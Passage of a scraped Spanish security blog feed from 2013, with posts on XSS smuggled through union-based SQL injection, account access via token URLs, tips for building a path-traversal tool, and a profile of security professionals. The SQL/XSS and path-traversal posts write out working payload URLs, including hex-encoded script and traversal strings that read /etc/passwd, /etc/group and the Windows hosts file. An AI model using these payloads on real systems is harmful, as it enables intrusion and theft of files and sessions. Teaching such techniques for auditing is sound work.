<img alt="http://code-disaster.blogspot.com" border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgym2p_5smJeBa7tB2N0GyYQZyivcg_HTEF7mDotioBvcg4YPE0MK0U2rngQgnmzxT_xHZbmI2NmapKZ6UCU8cvv9BPVxXunP6BdA6jiQ3dEjLRqy8uQmfyC6j6WgX4WvkzVu_L3l6mXkU/s400/autofill7.png" title="http://code-disaster.blogspot.com" width="400" /><br /><span style="font-size: xx-small;">Imagen 7: Recolección de los datos robados.</span></div>
<div align="justify">
En resumen, aunque resulte cómodo (para sistemas usados por una misma persona solamente), debe evitarse el uso de la funcionalidad <i>autofill</i>, puesto que se ha demostrado que es posible ofrecer a cualquier página bajo https datos tan sensibles como el número de la tarjeta de crédito y su fecha de caducidad, sin que la víctima sea consciente.<br />Para evitar este problema (o potenciales en el futuro), por ahora el mejor remedio es simplemente no utilizar esta funcionalidad.</div>
<div align="right">
Ricardo Martín Rodríguez </div>
<div align="right">
<a href="mailto:ricardo.martin@11paths.com">ricardo.martin@11paths.com</a> </div>
<div align="right">
<a href="https://twitter.com/ricardo090489">@ricardo090489</a></div>
<div align="right">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<iframe allowfullscreen='allowfullscreen' webkitallowfullscreen='webkitallowfullscreen' mozallowfullscreen='mozallowfullscreen' width='320' height='266' src='https://www.blogger.com/video.g?token=AD6v5dyP41x8Cg176F-DKyDm1G7BybISRjs8de28j8hvTZDOpCcJOHFqRlmFvUDVPWNs3bbDHC2yaI0OUR9vlmOYXw' class='b-hbp-video b-uploaded' frameborder='0'></iframe></div>
<div style="text-align: left;">
<br /></div>
<br />
<br />
<br />
<br />
<br />
<br />
MichBukanahttp://www.blogger.com/profile/09733559689364724120noreply@blogger.com1tag:blogger.com,1999:blog-1612739396540967045.post-56296060446407169992013-10-01T10:40:00.000-07:002013-10-01T10:40:00.385-07:00Inyecciones en inyecciones SQL<p>La entrada que traigo hoy, trata de como llevar un paso más haya las Union Based SQL Injection, por ejemplo si en algún caso nos vemos frente a una inyección SQL de este tipo, que no contiene datos aprovechables, como pueden ser subir una webshell u obtener las credenciales para acceder al login del gestor de la web que se esté auditando, etc. Se ha de tener en cuenta que un ataque como el Union Based SQL Injection se puede aprovechar de otras formas, y una de estas formas es la que hoy expondré. <p>Se trata ni más ni menos que aprovechar los campos imprimibles de la consulta SQL que por debajo está realizando la página web al cambiar los parámetros que se envían por la url. Aprovechándonos de dicha forma lograr inyectar además de la inyección SQL, código Javascript, HTML o por qué no realizar un SSI, de este modo podríamos desde ejecutar comandos en una Shell devuelta por el sistema que se muestra en la página (SSI), incluir un iframe para cargar un exploit (HTMLi), leer las cookies, suplantar un formulario como vimos en uno de los anteriores post de este blog <a href="http://code-disaster.blogspot.com.es/2013/08/ataques-xss-avanzados-aplicaciones-webs.html">Ataques XSS avanzados a aplicaciones webs: 3 Ejemplos</a>; o cualquier otro que se nos ocurra, y es que de esta forma se lograría explotar otro tipo ataque que tal vez por estar bien protegida la web no se podría dar y con ello otra forma de ownear la web. <p>A continuación se puede ver un ejemplo de una inyección XSS sobre una inyección SQL ya que no se logró explotar de otra forma un XSS en lo demás de la web, siendo irrelevantes los datos obtenidos en la base de datos. <p align="center"><a href="http://lh3.ggpht.com/-_b0vqEnBG_w/UksIZxXwW8I/AAAAAAAAAKs/1yNoofZafao/s1600-h/image%25255B33%25255D.png"><img title="image" style="border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; padding-top: 0px; padding-left: 0px; border-left: 0px; display: inline; padding-right: 0px" border="0" alt="image" src="http://lh5.ggpht.com/-2zy-cyKeuNM/UksIbIHF_KI/AAAAAAAAAK0/cL_oZQS27IY/image_thumb%25255B20%25255D.png?imgmax=800" width="655" height="366"></a><br><font size="1">Imagen 1: XSS con SQLi en Google Chrome.</font></p> <p>Otro punto a favor de realizar una inyección XSS de esta manera, es que se consigue Bypassear tanto los filtros Anti-XSS de navegadores como Google Chrome (Versión 29.0.1547.76 m) como los de IExplorer (10.0.9200.16660).</p> <p align="center"><a href="http://lh3.ggpht.com/-IEc5bkBkig0/UksIb7fYbqI/AAAAAAAAAK8/bwS2fa_frgA/s1600-h/image%25255B34%25255D.png"><img title="image" style="border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; padding-top: 0px; padding-left: 0px; border-left: 0px; display: inline; padding-right: 0px" border="0" alt="image" src="http://lh3.ggpht.com/-g1tth-6F6Iw/UksIcvc9c4I/AAAAAAAAALE/5G3ukRbnxoI/image_thumb%25255B21%25255D.png?imgmax=800" width="658" height="378"></a><br><font size="1">Imagen 2: XSS con SQLi en IExplorer.</font></p> <p>Para realizar este ataque se debe primero preparar la inyección SQL de modo que quede así.<br><a href="http://code-disaster.blogspot.com/">http://www.localhost.com/test.php?Op=2-1+union+select+1,2,3,4,5,6</a></p> <p align="center"><a href="http://lh3.ggpht.com/-rL5PoFo-EKo/UksIe-nsBPI/AAAAAAAAALM/qGsALH1jcss/s1600-h/image%25255B39%25255D.png"><img title="image" style="border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; padding-top: 0px; padding-left: 0px; border-left: 0px; display: inline; padding-right: 0px" border="0" alt="image" src="http://lh3.ggpht.com/-RoTYXfdpf_8/UksIgPx7xqI/AAAAAAAAALU/G49Ndf35Mno/image_thumb%25255B24%25255D.png?imgmax=800" width="561" height="313"></a><br><font size="1">Imagen 3: Búsqueda del campo imprimible.</font></p> <p>Como se puede apreciar el campo imprimible es el que cae en el 5, entonces será cuestión de sustituirlo en este caso por la inyección XSS cifrada en Hexadecimal con cualquier conversor de Ascii a Hex.</p> <p><strong>Ascii:</strong> <script>alert("code-disaster.blogspot.com")</script><br><strong>Hex:</strong> 3c7363726970743e616c6572742822636f64652d64697361737465722e626c6f6773706f742e636f6d22293c2f7363726970743e</p> <p>y por ultimo concatenar a la inyección SQL junto con dos paréntesis de apertura al principio, más 0x (que sirve para identificar el cifrado en el gestor de base de datos y que luego va a servir para devolverla impresa en la web en texto plano), más la cadena en Hex y dos cierre de paréntesis al final.</p> <p><strong>((0x</strong>3c7363726970743e616c6572742822636f64652d64697361737465722e626c6f6773706f742e636f6d22293c2f7363726970743e<strong>))</strong></p> <p>Quedando así.<br><a href="http://code-disaster.blogspot.com/">http://www.local.com/test.php?Op=2-1+union+select+1,2,3,4,((0x3c7363726970743e616c6572742822636f64652d64697361737465722e626c6f6773706f742e636f6d22293c2f7363726970743e)),6</a></p> MichBukanahttp://www.blogger.com/profile/09733559689364724120noreply@blogger.com1tag:blogger.com,1999:blog-1612739396540967045.post-7802118693066876332013-09-24T11:18:00.000-07:002013-09-24T11:26:35.814-07:00Profesionales de la seguridad informática IDespués de una semana de sequía sin escribir en el blog por las fechas de entrega de proyectos, ya que andamos un poco justos de tiempo he conseguido hacer un hueco para publicar una entrada que no acaba hoy ya que seguiré con el hilo de esta entrada cuando logre realizarme unas cuentas fotos con otros tantos profesionales de la seguridad informática y es que de ello va esta entrada. <br />
Empezando con mi querido jefe (más me vale hablar bien de él … jejej) Pablo González, muy buen compañero del cual desde que lo conozco he de decir que es alguien que se ha preocupado por mí, por llevarme por el buen camino y guiarme y del que he aprendido y seguiré aprendido mucho de él, excelente persona y muy apreciado por todos en el entorno de este mundillo. Sin más hablar un poco de su experiencia y formación como profesional de la seguridad informática.<br />
<br />
<b><a href="https://twitter.com/pablogonzalezpe">Pablo González</a></b><br />
<b> </b> <br />
Es Project Manager en 11Paths, empresa perteneciente a Telefónica Digital. Ingeniero Técnico en Informática de Sistemas e Ingeniero en Informática por la Universidad Rey Juan Carlos. Certificado en MCTS Windows 7, Configuring, MCITP Enterprise Desktop Administrator Windows 7, MCTS Windows 7 y Office 2010 deployment, MCP Designing Security for a Windows Server 2003 Network, MCTS Windows Server 2008 R2 Server Virtualization. Certificado en LPIC-1 y Small Bussiness CISCO. FTSAI. Anteriormente ha trabajado como Responsable de Seguridad en Informática 64. Premio Extraordinario Fin de Carrera por la Universidad Rey Juan Carlos en Ingeniería Técnica en Informática de Sistemas en 2009. Premio al mejor expediente de su promoción por la Escuela Técnica Superior de Ingeniería Informática de la Universidad Rey Juan Carlos en 2009. Es ponente habitual en diversos foros y congresos de seguridad a nivel nacional, entre los que se encuentran No cON Name y RootedCon. <br />
Es autor de los siguientes libros: <br />
<ul>
<li><b>Metasploit para pentesters.</b></li>
<li><b>Pentesting con Kali.</b></li>
<li><b>Hacking dispositivos iOS: iPhone & iPad.</b></li>
<li><b>PowerShell: La navaja suiza de los administradores de sistemas.</b></li>
<li><b>Windows Server 2012 para IT Pros.</b></li>
<li><b>Hardening de servidores GNU/Linux</b></li>
</ul>
Y lleva junto con Juan Antonio Calles el blog de <a href="http://www.flu-project.com/">http://www.flu-project.com/</a><br />
<br />
<div align="center">
<a href="http://lh5.ggpht.com/-JkFNtM4ckOs/UkHV2lkVPdI/AAAAAAAAAJk/jH5frOGGtA4/s1600-h/pablo%25255B13%25255D.png"><img alt="pablo" border="0" height="322" src="http://lh4.ggpht.com/-LWYS8GLhIPE/UkHV4yFHXeI/AAAAAAAAAJs/dxLD_Y_M33Q/pablo_thumb%25255B7%25255D.png?imgmax=800" style="background-image: none; border-bottom: 0px; border-left: 0px; border-right: 0px; border-top: 0px; display: inline; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="pablo" width="466" /></a><br />
<span style="font-size: xx-small;">Imagen 1: Yo y Pablo González</span></div>
<div align="left">
<br /></div>
<div align="left">
El siguiente del quien voy a hablar no es ni más ni menos que de Chema Alonso conocido por todo el que mínimamente se haya acercado al mundo de la seguridad informática, ponente en conferencias de todo el mundo y demás, pero ahora les hablaré sobre mi experiencia personal durante el tiempo que llevo trabajando con él, ya que luego haré un inciso para extender el recorrido que lleva este personaje tan conocido por todos a nivel nacional e internacional en el campo de la seguridad informática, sin más he de decir que a demás de simpático es una persona que llega a todos, no es el típico jefe que te podrías encontrar trabajando en cualquier otro sitio, es alguien más cercano y junto a Rodol han creado y llegado a construir los pilares de lo que es hoy en día <a href="http://cincodias.com/cincodias/2013/06/07/empresas/1370599650_226856.html">11paths</a>, por ultimo decir que es alguien de quien no puedo decir que no haya sido amable conmigo y para demostrároslo y os muráis de envidia decir que me ha llevado hasta mi casa en el cochazo con el que aparezco en la Imagen 2.</div>
<div align="left">
<br /></div>
<div align="left">
<a href="https://twitter.com/chemaalonso"><b>Chema Alonso</b></a></div>
<div align="left">
<br /></div>
<div align="left">
Conocido como el Maligno, es quizá uno de los referentes de seguridad informática y hacking a nivel mundial. Ingeniero Informático de Sistemas por la Universidad Politécnica de Madrid - donde ha sido nombrado Embajador Honorífico por su excelente carrera profesional, e Ingeniero Informático y Master en Sistemas de Información por la Universidad Rey Juan Carlos ha sido premiado como Most Valuable Professional en Enterprise Security por Microsoft durante 8 años. En la URJC ha realizado su Doctorado en Informática dedicado a técnicas de auditoría de seguridad web. Miembro fundador de Informática 64, donde trabaja como consultor e investigador de Seguridad desde hace 14 años. De su trabajo en Informática 64, han salido herramientas populares de la seguridad informática como FOCA, MetaShield Protector o la reciente Forensic FOCA, y desde donde han salido las publicaciones de técnicas hacking como Time-Based Blind SQL Injection, (Blind) LDAP Injection o Connection String Parameter Pollution. Recorre el mundo participando en conferencias de seguridad de renombre internacional como Defcon, BlackHat, ShmooCON, HackCON, SEC-T, DeepSEC, RootedCON, NoConName, Ekoparty, Yahoo! Security Week, Digital Crime Consortium, FIRST, ToorCON, etc… donde ha dado más de 100 conferencias por todo el mundo. Ha sido invitado por Yahoo! para las jornadas de Seguridad en San Francisco. Famoso por su gorro a rayas, Chema Alonso ha publicado más de 50 artículos en congresos académicos y revistas técnicas, siempre sobre seguridad informática y es coautor de varios libros de Seguridad Informática. Escribe a diario su blog <a href="http://www.elladodelmal.com/">“Un informático en el lado del mal”</a>, tocando temas de actualidad, hacking y seguridad desde hace 7 años. En el año 2012 fue elegido en los premios Bitácoras como el mejor blog de seguridad informática del año. Además es colaborador y mentor en Talentum Startups de Telefónica, director del Master de Seguridad de la Universidad Europea de Madrid y profesor del Master de Seguridad de la Universidad Oberta de Catalunya y de la Universidad Politécnica de Madrid. Actualmente puedes escucharle todos los martes en el programa La Mañana de la COPE a las 11:30 horas.</div>
<div align="left">
<br /></div>
<div align="center">
<a href="http://lh6.ggpht.com/-gHSeTfP4dkQ/UkHV-Ky4SRI/AAAAAAAAAJ0/NoodiGaoWus/s1600-h/chema%25255B4%25255D.png"><img alt="chema" border="0" height="296" src="http://lh4.ggpht.com/-c4IYjjZ35nA/UkHV_wNnv_I/AAAAAAAAAJ8/JoLRpwOsAXU/chema_thumb%25255B2%25255D.png?imgmax=800" style="background-image: none; border-bottom: 0px; border-left: 0px; border-right: 0px; border-top: 0px; display: inline; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="chema" width="511" /></a><br />
<span style="font-size: xx-small;">Imagen 2: Yo y Chema Alonso</span></div>
<div align="center">
<a href="http://lh6.ggpht.com/-Bfqax7xb4pU/UkHWGfJn2pI/AAAAAAAAAKE/I6YYneASs18/s1600-h/chema2%25255B6%25255D.png"><img alt="chema2" border="0" height="288" src="http://lh3.ggpht.com/-K0_oSQAsz-o/UkHWIV3QHAI/AAAAAAAAAKM/PKLap3aD9iA/chema2_thumb%25255B4%25255D.png?imgmax=800" style="background-image: none; border-bottom: 0px; border-left: 0px; border-right: 0px; border-top: 0px; display: inline; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="chema2" width="424" /></a><br />
<span style="font-size: xx-small;">Imagen 3: Yo y Chema Alonso otra vez..</span> </div>
Ahora hablaré de un amiguete a quien aprecio mucho, alguien que conozco hace bastante, bastante más de cuando lo vi por primera vez y es que esa misma mañana cuando entraba por primera vez a informatica64 vi a un chaval que salía a tomarse su pan con mantequilla y cola cao, tenía así como poco pelo cuando luego caí y me di cuenta que no era otro que <a href="https://twitter.com/enelpc">Germán Sánchez</a>, compañero durante aquellos tiempos de gran nivel en <a href="http://indetectables.net/">indetectables.net</a> donde compartimos y aprendimos sobre malware y posteriormente sobre in-seguridad web, que decir de él. Desde el primer día que lo conoces ya eres su colega, es muy cercano y simpático, es con quien no puedes salir de fiesta por que luego … hay lo dejo jajaja.<br />
<br />
<a href="https://twitter.com/enelpc"><b>Germán Sánchez</b></a><br />
<br />
Autor del libro Pentesting Con Kali, Administrador del famoso blog de <a href="http://enelpc.com/">enelpc.com</a>.<br />
<ul>
<li><u>Security Analyst</u><br />Telefónica Digital Identity & Privacy (Eleven Paths)<br />abril de 2013 – Actualidad (6 meses)Distrito C, Sede Central de Telefónica<br />Consultor de Seguridad Informática en Informática 64<br />abril de 2012 – abril de 2013 (1 año 1 mes)</li>
</ul>
Docente en cursos de hacking ético, pentesting, malware, forense en windows, ataques en redes de datos IPv4 e IPv6, VoIP, seguridad web, auditoría de código y temas relativos a la fortificación de sistemas.<br />
Realizando auditorías web, test de intrusión y análisis de malware para evitar amenazas o fallos de seguridad en empresas externas, con el consiguiente informe técnico, donde reflejar las vulnerabilidades encontradas.<br />
Auditoría de redes LAN en empresas externas, utilizando técnicas relativas al sniffing, pivoting y exploiting.<br />
<br />
<div align="center">
<a href="http://lh6.ggpht.com/-4FWdMYbdbUE/UkHWLEgwHsI/AAAAAAAAAKU/QAuZDn58jOM/s1600-h/german%2525201%25255B4%25255D.png"><img alt="german 1" border="0" height="278" src="http://lh4.ggpht.com/-n4YXWoIno6Y/UkHWMSDt1jI/AAAAAAAAAKc/Sraytuw6lFA/german%2525201_thumb%25255B2%25255D.png?imgmax=800" style="background-image: none; border-bottom: 0px; border-left: 0px; border-right: 0px; border-top: 0px; display: inline; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="german 1" width="404" /></a><br />
<span style="font-size: xx-small;">Imagen 4: Yo y Germán</span></div>
<br />
<br />MichBukanahttp://www.blogger.com/profile/09733559689364724120noreply@blogger.com0tag:blogger.com,1999:blog-1612739396540967045.post-39039580088999345212013-09-11T03:41:00.000-07:002013-09-11T06:10:22.296-07:00Acceso a la cuenta de un usuario directamente a través de la url sin previo loginEsta es una práctica que al parecer se está utilizando cada vez más, ya son varias webs que me encuentro con esta forma de acceder a la cuenta de un usuario sin previa autenticación y que encima no caducan las urls pasado cierto tiempo. <br />
A continuación voy a explicar algunas de las ventajas para un atacante e inconvenientes para los desarrolladores en cuanto al uso de este método.<br />
<br />
<b>Referer</b><br />
El Referer sería un vector para obtener estas jugosas urls algo simple de lo que se podría sacar el acceso a la cuenta de la víctima es como si en el Referer se transmitiera las credenciales. Un ejemplo sería realizando una aplicación que recoja los Referer y pidiendo a la víctima que acceda a la web donde se encuentra esta aplicación donde se obtendrán estas urls que transmiten el key para entrar como usuario logead.<br />
<br />
<b>Ficheros del historial de los navegadores</b><br />
Otro causa de por qué no utilizar este método y otro truco de como robar estas urls como todas las otras por las que el usuario navega es el fichero donde se guarda el historial de navegación por ejemplo en Google Chrome con Windows 8 se haya en un fichero que se encuentra en C:\Users\RootedLab\AppData\Local\Google\Chrome\User Data\Default\History Index 2013-09<br />
<br />
<div align="center">
<a href="http://lh3.ggpht.com/-aeiBCZy30AU/UjAQu-l7bII/AAAAAAAAAGU/Mh5B32a2pZo/s1600-h/clip_image001%25255B5%25255D.png"><img alt="clip_image001" border="0" height="423" src="http://lh3.ggpht.com/-l12JKQ6pk2c/UjAQvjtAKaI/AAAAAAAAAGY/fMfj-bwLaMY/clip_image001_thumb%25255B2%25255D.png?imgmax=800" style="background-image: none; border-bottom-width: 0px; border-left-width: 0px; border-right-width: 0px; border-top-width: 0px; display: inline; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="clip_image001" width="537" /></a><br />
<span style="font-size: xx-small;">Imagen 1: Historial de Chrome</span><br />
</div>
<b>Google Dork</b><br />
Un ejemplo es el caso de <a href="http://www.humblebundle.com/">www.humblebundle.com</a> se dieron cuenta un poco tarde sin poder evitar la indexación de sus urls ya que como se puede ver en la segunda imagen se encuentra configurado el robots.txt para deshabilitar que se indexe estas urls pero como se ve en la primera imagen se dieron cuenta algo tarde ya que hay indexadas bastantes de ellas con acceso a la cuenta aunque ya reclamadas, por ello esta sería otra truco a tener en cuenta<br />
<br />
<div align="center">
<a href="http://lh4.ggpht.com/-skj8YvMAtDc/UjAQwDm7iqI/AAAAAAAAAGg/ILvpsXeoboU/s1600-h/clip_image003%25255B5%25255D.jpg"><img alt="clip_image003" border="0" height="387" src="http://lh6.ggpht.com/-kmKKyxVRD1M/UjAQwcx0jYI/AAAAAAAAAGo/YmcbMyvrcbQ/clip_image003_thumb%25255B2%25255D.jpg?imgmax=800" style="background-image: none; border-bottom-width: 0px; border-left-width: 0px; border-right-width: 0px; border-top-width: 0px; display: inline; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="clip_image003" width="440" /></a><br />
<span style="font-size: xx-small;">Imagen 2: Urls de acceso indexadas</span></div>
<div align="center">
<a href="http://lh4.ggpht.com/-ih6nlb0lfTA/UjAQw3V4U6I/AAAAAAAAAGw/7UtQqk_gpmc/s1600-h/clip_image005%25255B5%25255D.jpg"><img alt="clip_image005" border="0" height="387" src="http://lh3.ggpht.com/-5eGkNBq8KO0/UjAQxDai_yI/AAAAAAAAAG8/X9VrL_CWKAM/clip_image005_thumb%25255B2%25255D.jpg?imgmax=800" style="background-image: none; border-bottom-width: 0px; border-left-width: 0px; border-right-width: 0px; border-top-width: 0px; display: inline; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="clip_image005" width="442" /></a><br />
<span style="font-size: xx-small;">Imagen 3: Robots.txt</span><br />
</div>
<b>Fuerza Bruta</b><br />
Casos de webs como <a href="https://www.humblebundle.com/downloads?key=4vMtRuTHm53R">https://www.humblebundle.com/downloads?key=4vMtRuTHm53R</a> que permiten el acceso a la cuenta a través de la url tienen una clave compuesta de 12 caracteres aleatorios alfanuméricos en minúscula (27), mayúscula(26) y numérica(10) por ello cabe un rango de posibles combinaciones de 63^12 algo inviable por tiempo y recursos además habría que contar con la posibilidad de realizar varias denegaciones de servicio, pero no por ello descartable para otras webs.<br />
<div align="center">
<a href="http://lh5.ggpht.com/-OlA5xtNj_LI/UjAQxiISDAI/AAAAAAAAAHE/jJFCuY44CQk/s1600-h/clip_image007%25255B5%25255D.jpg"><img alt="clip_image007" border="0" height="306" src="http://lh6.ggpht.com/-T8rTpjr3weU/UjAQyOpBjYI/AAAAAAAAAHI/n8p9o4TWXwo/clip_image007_thumb%25255B2%25255D.jpg?imgmax=800" style="background-image: none; border-bottom-width: 0px; border-left-width: 0px; border-right-width: 0px; border-top-width: 0px; display: inline; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="clip_image007" width="462" /></a><br />
<span style="font-size: xx-small;">Imagen 4: Cuenta humble</span><br />
</div>
<b>Otros detalles de por que no usar este método</b><br />
Antes se solía mandar al correo un email las webs donde uno se acababa de registrar con el usuario y contraseña una práctica que ya no se suele usar por el hecho de que una vez comprometido el correo un atacante podía ver esas credenciales y ahora con el método del acceso en la url existe otro vector por el que el atacante acceda a X web como usuario logeado teniendo de este modo la misma importancia que enviar las credenciales al correo, aunque no le será tan fácil al atacante que se haya colado en su correo filtrar los emails como se hacía antes con los que contenían credenciales filtrando por “password, contraseña, usuario, login”, ya que no hay un patrón que filtre las urls que tenga la clave en la variable… tal vez por key? Para el caso de <a href="http://www.humblebundle.com/">www.humblebundle.com</a> si hubiese servido, pero cada web tendrá su propio nombre de variable<br />
<br />
<div align="center">
<a href="http://lh5.ggpht.com/-mL3VwghCQao/UjAQysTOTJI/AAAAAAAAAHU/SImmyjJy8ME/s1600-h/clip_image009%25255B6%25255D.jpg"><img alt="clip_image009" border="0" height="369" src="http://lh3.ggpht.com/-FYBMbUJM2nw/UjAQzEpubSI/AAAAAAAAAHY/zVFU_Q7tOLY/clip_image009_thumb%25255B3%25255D.jpg?imgmax=800" style="background-image: none; border-bottom-width: 0px; border-left-width: 0px; border-right-width: 0px; border-top-width: 0px; display: inline; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="clip_image009" width="461" /></a><br />
<span style="font-size: xx-small;">Imagen 5: Bandeja de entrada gmail</span><br />
</div>
Hay que tener en cuenta que cualquier usuario si guarda una url como esta es más susceptible a guardarla sin la seguridad y protección que podría emplear para guardar unas credenciales, por ello resulta más fácil robar una url con el acceso que una combinación de usuario y contraseña <br />
<br />
<br />
<br />MichBukanahttp://www.blogger.com/profile/09733559689364724120noreply@blogger.com0tag:blogger.com,1999:blog-1612739396540967045.post-29895792547333969882013-09-04T11:56:00.000-07:002013-09-05T02:11:51.214-07:00Tips for develop "Path Traversal" Tool<br />
<div align="center">
<a href="http://lh4.ggpht.com/-TG45YQzIt3Y/UieADLPguiI/AAAAAAAAAF8/jM9Az36ZXus/s1600-h/image%25255B5%25255D.png"><img alt="image" border="0" height="179" src="http://lh5.ggpht.com/-00j3Xi50CMY/UieADlizlBI/AAAAAAAAAGE/1hDohlvq0mM/image_thumb%25255B3%25255D.png?imgmax=800" style="background-image: none; border-bottom: 0px; border-left: 0px; border-right: 0px; border-top: 0px; display: inline; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="image" width="557" /></a></div>
<div align="center">
Tips for develop "Path Traversal" Tool. By Ricardo M.R.</div>
<div align="left">
En esta entrada voy a dar unos trucos para los que decidan desarrollar una herramienta que se aproveche de la vulnerabilidad “Path Traversal o Transversal” primero he de decir que no voy a explicar lo que es, si quieren saberlo pueden buscarlo en <a href="http://es.wikipedia.org/wiki/Directory_traversal">wikipedia</a> o googleando un poco , no se trata de eso este post, si no de agilizar en la medida de lo posible la explotación automatizada de esta vulnerabilidad</div>
Para empezar voy a explicar dos restricciones a nivel de código, dos funciones que pueden (joder) hacer mas compleja su explotación.<br />
<br />
<b>Definiciones</b><br />
<b>Basename:</b> Regresa el nombre del archivo o directorio, por ejemplo /var/www/index.html -> regresa 'index.html' <br />
<b>realpath:</b> Devuelve la ruta de acceso resuelta, resolviendo las referencias de caracteres '/./', '/../' y '/' extra<br />
<br />
<b>Estudio</b><br />
Para realizar el escalado de directorios en los diferentes sistemas se utilizan diferentes sintaxis<br />
..\..\ Windows<br />
../../ Linux<br />
../../ Apache<br />
./ Apache con “basename” en el código fuente de la app vulnerable<br />
<br />
Uno de los trucos que propongo es la de olvidar buscar ficheros windows y linux, centrándonos unicamente en la sintaxis de Apache teniendo en cuenta el basename y de esta manera si es vulnerable nos centraremos en una única sintaxis para descargar el archivo vulnerable de dentro de directorio web y de esta forma abstraernos del sistema operativo. <br />
.././<br />
../.././<br />
<br />
Otra cosa a tener en cuenta es ir tan atrás como podamos en los directorios desde la primera petición ya que es posible no llegar pero seguro funciona si nos pasamos, esto no es nada nuevo, un simple recordatorio no aplicable al ejemplo anteriormente explicado:<br />
Suponiendo el siguiente caso<br />
/var/www/down/download.php?f=img.jpg<br />
"Arbitrary file download”<br />
Para acceder a /etc/passwd desde el download.php (fichero vulnerable)<br />
../../../../../../../../../../../../../../../../../../../../../../../../../../../../etc/passwd correcto<br />
../../etc/passwd incorrecto<br />
Siendo que basta solamente con ir atrás 3 saltos<br />
../../../etc/passwd para llegar al etc/passwd<br />
<br />
<b>Desarrollando la App</b><br />
Un “Paso a Paso” de un caso común:<br />
<br />
A la url se le inyecta por cada parámetro:<br />
[linux] ../../../../../../../../../../../../../../../../etc/group<br />
[windows] \\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\system32\\drivers\\etc\\hosts<br />
con lo cual una url tal que así<br />
<a href="http://pepe.com/?a=1&b=2">http://pepe.com/?a=1&b=2</a><br />
terminaría variando como se aprecia a continuación:<br />
2 peticiones en los 2 parámetros para la descarga del fichero “etc/group” en Linux.<br />
<a href="http://pepe.com/?a=[linux]&b=2">http://pepe.com/?a=[linux]&b=2</a><br />
<a href="http://pepe.com/?a=1&b=[linux">http://pepe.com/?a=1&b=[linux]</a><br />
y 2 peticiones en los 2 parámetros para la descarga del fichero “hosts” en Windows<br />
<a href="http://pepe.com/?a=[windows]&b=2">http://pepe.com/?a=[windows]&b=2</a><br />
<a href="http://pepe.com/?a=1&b=[windows]">http://pepe.com/?a=1&b=[windows]</a><br />
<br />
<b>Con Mod_Rewrite, Sin basename y sin realpath</b><br />
<br />
----------------<b>TRUCO 1</b>---------------------------------<br />
Ejemplo: <a href="http://localhost/PathTraversal/ptraversal.php?archivo=img.jpg">http://localhost/PathTraversal/ptraversal.php?archivo=img.jpg</a><br />
En este posible caso el fichero ptraversal.php realmente no se encuentra en ./PathTraversal/ptraversal.php<br />
ya que con mod rewrite se ha especificado que cuando se acceda a <a href="http://localhost/PathTraversal/ptraversal.php">http://localhost/PathTraversal/ptraversal.php</a><br />
se redirija a ./xxx/yyyy/zzzz/PathTraversal/ptraversal.php<br />
por ello se va a realizar las pruebas estándar para win y linux <br />
../../../../../../../../../../../../../../../../etc/group<br />
<a href="file:////windows//system32//drivers//etc//hosts">\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\system32\\drivers\\etc\\hosts</a><br />
<br />
----------------<b>TRUCO 2</b>---------------------------------<br />
Se hace una petición para producir un error:<br />
<a href="http://inmueblesms.com/download.php?file[]=%27">http://xxxxx.com/download.php?file[]='</a><br />
Si en el “Source” se encuentra un “FPD” se obtiene la ruta interna y se concatena a la url<br />
<b>/home/jonathan/public_html/download.php</b><br />
tal que así, logrando de esta forma tener la ruta real (absoluta).<br />
<a href="http://inmueblesms.com/download.php?file=/home/jonathan/public_html/download.php">http://xxxxx.com/download.php?file=/home/jonathan/public_html/download.php</a><br />
<br />
<b>Sin Mod_Rewrite, Con basename y con realpath</b><br />
<br />
----------------<b>TRUCO 1</b>---------------------------------<br />
Ejemplo<br />
<a href="http://localhost/PathTraversal/ptraversal.php?archivo=img.jpg">http://localhost/PathTraversal/ptraversal.php?archivo=img.jpg</a><br />
Primero se corta la url desde dominio/ hasta ?<br />
PathTraversal/ptraversal.php<br />
se añade el ./<br />
./PathTraversal/ptraversal.php<br />
<br />
Y a partir de aquí se intenta escalar directorios<br />
<a href="http://localhost/PathTraversal/ptraversal.php?archivo=./PathTraversal/ptraversal.php">http://localhost/PathTraversal/ptraversal.php?archivo=./PathTraversal/ptraversal.php</a> erróneo<br />
<a href="http://localhost/PathTraversal/ptraversal.php?archivo=.././PathTraversal/ptraversal.php">http://localhost/PathTraversal/ptraversal.php?archivo=.././PathTraversal/ptraversal.php</a> correcto<br />
Si lo que devuelve en la descarga del fichero o en la visualización de la web contiene <? y ?> podemos decir que es vulnerable ya que nos encontramos frente a “arbitrary file download” o un “Local File Include" (LFI).MichBukanahttp://www.blogger.com/profile/09733559689364724120noreply@blogger.com0tag:blogger.com,1999:blog-1612739396540967045.post-31250698190535061572013-08-28T14:49:00.000-07:002013-08-29T00:13:50.929-07:00iDStore lista ficheros y directorios ocultos de ficheros .DS_StoreHoy traigo una herramienta que fue publicada en <a href="http://www.elladodelmal.com/2013/04/extraer-lista-de-urls-de-ficheros.html">elladodelmal.com</a> hace unos meses cuando aún estaba realizando las prácticas del ciclo superior de Desarrollo de Aplicaciones Web (DAW), quise algún día traerla y hoy ya toco. <br />
<b>Glosario</b><br />
<b>.DS_Store</b> (Desktop Services Store) es un archivo oculto exclusivo del sistema operativo de Apple Inc. Mac OS X para almacenar los atributos personalizados de una carpeta, como puede ser la posición de los iconos o la imagen de fondo.<br />
